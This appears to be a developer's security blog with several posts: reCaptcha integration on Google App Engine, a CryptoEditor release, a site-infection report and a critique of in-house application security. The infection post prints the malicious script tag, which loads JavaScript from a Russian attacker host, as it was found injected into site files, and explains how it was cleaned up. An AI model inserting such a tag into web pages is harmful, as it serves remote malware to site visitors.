Security

Free Captchas, Google App Engine and OCR

Captchas are the distorted, almost unreadable strings you have to retype in a web page in order to do a specific action. The purpose of the captcha is to make sure the form has been filled by a human and not a “bot”. Most of the time you will find captchas on login and comment pages.

Wen time arrived to add captchas to my CryptoEditor website I found a service provided by Google called reCaptcha. ReCaptcha takes advantage of the massive number of users using it everyday to digitize printed books. How can that be? It’s very simple!

Instead of showing one combination of letters and numbers to the user, reCaptcha will ask you to resolve two words. One of these is a word reCaptcha already know the digital translation and the other is a word scanned from a printed book that the OCR application has not been able to resolve. Of course you don’t know which is which.

The word reCaptcha already know will be used to allow you or block access to the service and your guess for the other word, the one the OCR was unable to resolve, will be added to a database to train the OCR reading this book.

The integration of reCaptcha in a Google App Engine is quite straightforward. You first download the reCaptcha python API. Then you copy the captcha.py module to your project and adapt  it to use the GAE fetchurl module instead of urllib2 to call the reCaptcha server over http.

If you are lazy like I am, you can download an already adapted version of captcha.py from the Joscha Feth blog. This post explains in details how to implement it in your Google App Engine application.

To be able to use the service, you will need to register to the online service. Since it is a Google service, you can use your google login to register your websites to the service. You will be provided with a private and a public key. NEVER publish or exchange your private key.

Visit the reCaptcha wiki site to find information on how to personalize the look and feel of the captcha form using CSS.

CryptoEditor 2.0.1 Available for Download

CryptoEditor 2.0.1 is now available for download. CryptoEditor is a personal data protection software that allows you to secure your passwords, credit card numbers, notes and more on your computer and online. Download the new version from the product website.

What’s new in this release:
  • Minimize the main window on manual Lock
  • Improved synchronization speed
  • Fixed crash following a synchronization in the Notes plugin

Sites Attacked by Script Virus

I found two of my sites infected by a virus. The following script was found at the end of all *.js, index*.html and index*.php files in my site:

<script type=”text/javascript” src=”http://pantscow.ru:8080/Vector_Graphic.js”></script>
<!–354d9b158e9c0f740d016556c9aa29ef–>

The domain name in the script changes almost every two days so it is not easy to find help on the web about that kind of threat.

First of all, change your FTP passwords and remove anonymous access if any. These attacks are made through FTP access most of the time.

Once the site secured, you have to fix the problem. In a Joomla or WordPress site, there are thousands of these files. It is impossible to change it all online so I downloaded a copy of the entire site on my drive and removed the script from all infected files using search/replace tools. I recommend TextPad for that.

When all infested files have been fixed, I uploaded all modified files to the site and the problem was gone. That took me almost 4 hours to figure out what happened and fix it. That is a lot of time for a production site.

I hope that could help someone out there. If you have any questions please write me in the comment section.

Application Security for Dummies

I used to be an application security “expert”. This post is not a crash course in application security. It is a post about those who ask us to implement security in their application with no clues on what they really want.In fact, this definition is too vague. It applies to all the project managers I know. Lets say this post is about the worst of them … those who will never understand what they want … and what they have. We all know one of these dummies.

Let me picture what I found in the last company I did security development for. I am sure it will sound familiar to you as well. Over the last ten years, a huge management application have been developed in a large enterprise. Today, all the business of hundreds of users of the company passes through this application.

The fun part now. The client application is written in VB6 … oh, sorry, this is not a client application, this is THE application. This app talks directly to an Oracle database where all the sensitive data is stored.

Ok ok, that’s not that bad, I know. Let me continue. At the beginning, all users were assigned a database account to control access to the database on a per user basis. One day, when the application reaches more than 20 users, it became a problem to manage all these different accounts in the database so, the security guy of the month suggested to implement an in house security infrastructure.

That would have been a terrific opportunity to add an application server between the database and the clients to secure the database. That WOULD have been … Yep, you got it, they didn’t. Their in house security infrastructure code has been implemented in the VB6 application and all the security data (roles, users, privileges) have been stored in the … database.

Now they needed a way to access the database without storing the username and password of the schema owner on the client side. That would have been an excellent opportunity to create a login scheme using data encryption, secure communications and “grant execute” packages to process logins. Once again, they decided to go deeper into their in house solution by encrypting the username and password of the schema owner in the database.

They used symmetrical encryption so they had to distribute the encryption key to all VB6 applications. How they did that? I guess they tried to find a good solution. I guess (hope) the solution they came out with is due to a tight schedule or a terrible manager. They decided to copy the encryption key into the registry of all users computers.  Imagine how easy it is to deploy a new password or encryption key. In fact, it is so complicated and involve so many peoples that it has never been done in the last 5 years.

On top of that, I found, by reading the code that the “encryption” algorithm was, in fact, an in house encryption algorithm. A couple of XOR and left and right bit shifts … Good enough they said.

That’s where I came in. Following a security audit, they asked my team to find a solution to their security problems. That resulted i a tsunami of meetings with all these guys who had approved the previous developments. Even after all these failures, they were not aware of the real problems they had … and they were ready to sign with the first one who would came in with an “in house” solution.

There are not many things you should know about application security but you need to understand them well, otherwise, you will end up with a brilliant “in house” solution. So, what are these base concepts we need to know?

  1. Never underestimate the capacity of hackers of malicious users. There is no such thing as a “good enough” security model or encryption algorithm. It’s safe or it is not.
  2. As of today, you should NEVER write these huge applications without a central application server to manage authentication and services access. Never write again one of these 2Tiers applications. NEVER!
  3. Avoid “in house” security infrastructures development. If you ever end up creating a ROLE table in a database, please,sit back and ask yourself “Could there be a ready to use solution out there that fits my needs?” YES there is … There are in fact many many solutions you can use.
  4. Your rich client application should not be aware of security rules. Never enforce security rules in the client application. It’s easy to crack a piece of software or to intercept data on the wire. This is a corollary of the rune #2 but I want to make it clear. The client application is where the enemy sit!

There are many more thing you should know to develop a good security infrastructure but, if you are a decision maker in your enterprise, please remember these simple rules. You will save a lot of headache, time and money …

You think my list of rules in incomplete? Go ahead, complete my list by leaving a comment.

Philippe Chrétien